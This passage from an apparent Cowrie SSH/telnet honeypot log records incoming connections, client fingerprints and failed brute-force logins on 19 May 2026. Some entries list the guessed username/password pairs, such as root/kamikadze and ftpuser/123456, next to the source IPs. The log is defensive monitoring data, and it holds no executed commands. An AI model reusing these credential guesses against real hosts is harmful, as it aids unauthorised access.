{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:35.474297Z","src_ip":"45.153.34.112","session":"4c6692e62ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.145158052444458,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:35.623396Z","src_ip":"192.119.13.58","session":"82af60721df3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:35.905157Z","src_ip":"45.153.34.112","session":"4c6692e62ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57482,"dst_ip":"10.17.0.5","dst_port":23,"session":"14dc5536d31c","protocol":"telnet","message":"New connection: 192.119.13.58:57482 (10.17.0.5:23) [session: 14dc5536d31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:36.455052Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:36.990242Z","src_ip":"45.153.34.112","session":"4c6692e62ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":50080,"dst_ip":"10.17.0.5","dst_port":22,"session":"5755dd8f9a0f","protocol":"ssh","message":"New connection: 170.106.177.3:50080 (10.17.0.5:22) [session: 5755dd8f9a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:37.722707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:37.727823Z","src_ip":"170.106.177.3","session":"5755dd8f9a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:37.796139Z","src_ip":"170.106.177.3","session":"5755dd8f9a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1","message":"login attempt [server/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:38.098485Z","src_ip":"170.106.177.3","session":"5755dd8f9a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":33584,"dst_ip":"10.17.0.5","dst_port":22,"session":"6306c952279b","protocol":"ssh","message":"New connection: 43.153.112.253:33584 (10.17.0.5:22) [session: 6306c952279b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:38.624398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:38.628784Z","src_ip":"43.153.112.253","session":"6306c952279b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:38.700292Z","src_ip":"43.153.112.253","session":"6306c952279b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d1g1t4l","message":"login attempt [root/d1g1t4l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:39.004353Z","src_ip":"43.153.112.253","session":"6306c952279b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52362,"dst_ip":"10.17.0.5","dst_port":22,"session":"8762db92413e","protocol":"ssh","message":"New connection: 45.153.34.112:52362 (10.17.0.5:22) [session: 8762db92413e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:39.031061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:39.035360Z","src_ip":"45.153.34.112","session":"8762db92413e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:39.116604Z","src_ip":"45.153.34.112","session":"8762db92413e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:39.169873Z","src_ip":"170.106.177.3","session":"5755dd8f9a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:39.362954Z","src_ip":"45.153.34.112","session":"8762db92413e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":43146,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba3dee617db","protocol":"ssh","message":"New connection: 103.27.238.120:43146 (159.203.135.109:22) [session: 5ba3dee617db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:39.952785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:39.957417Z","src_ip":"103.27.238.120","session":"5ba3dee617db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.893340826034546,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:40.052683Z","src_ip":"192.119.13.58","session":"d7756873b05e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:40.075662Z","src_ip":"43.153.112.253","session":"6306c952279b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:40.238629Z","src_ip":"103.27.238.120","session":"5ba3dee617db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:40.664747Z","src_ip":"45.153.34.112","session":"8762db92413e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kamikadze","message":"login attempt [root/kamikadze] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:41.081564Z","src_ip":"103.27.238.120","session":"5ba3dee617db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51538,"dst_ip":"10.17.0.5","dst_port":23,"session":"77266453b55c","protocol":"telnet","message":"New connection: 192.119.13.58:51538 (10.17.0.5:23) [session: 77266453b55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:41.957031Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":62627,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ad480edf923","protocol":"ssh","message":"New connection: 45.66.52.41:62627 (10.17.0.5:22) [session: 3ad480edf923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:42.052860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:42.057827Z","src_ip":"45.66.52.41","session":"3ad480edf923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:42.228841Z","src_ip":"45.66.52.41","session":"3ad480edf923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:42.362371Z","src_ip":"103.27.238.120","session":"5ba3dee617db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47482,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b98105b3948","protocol":"ssh","message":"New connection: 45.153.34.112:47482 (10.17.0.5:22) [session: 0b98105b3948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:42.573172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:42.580296Z","src_ip":"45.153.34.112","session":"0b98105b3948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:42.661942Z","src_ip":"45.153.34.112","session":"0b98105b3948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:42.909366Z","src_ip":"45.153.34.112","session":"0b98105b3948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!q2w3e4r","message":"login attempt [root/!q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:43.034953Z","src_ip":"45.66.52.41","session":"3ad480edf923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.89941048622131,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:43.124727Z","src_ip":"192.119.13.58","session":"35fb886fccb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:43.994873Z","src_ip":"45.153.34.112","session":"0b98105b3948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:44.211509Z","src_ip":"45.66.52.41","session":"3ad480edf923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59396,"dst_ip":"10.17.0.5","dst_port":22,"session":"d53413eda355","protocol":"ssh","message":"New connection: 51.250.105.222:59396 (10.17.0.5:22) [session: d53413eda355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.337904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.342711Z","src_ip":"51.250.105.222","session":"d53413eda355","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.476778Z","src_ip":"51.250.105.222","session":"d53413eda355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":35756,"dst_ip":"10.17.0.5","dst_port":22,"session":"56179a3b6934","protocol":"ssh","message":"New connection: 43.130.36.39:35756 (10.17.0.5:22) [session: 56179a3b6934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.614450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:45.619282Z","src_ip":"43.130.36.39","session":"56179a3b6934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512",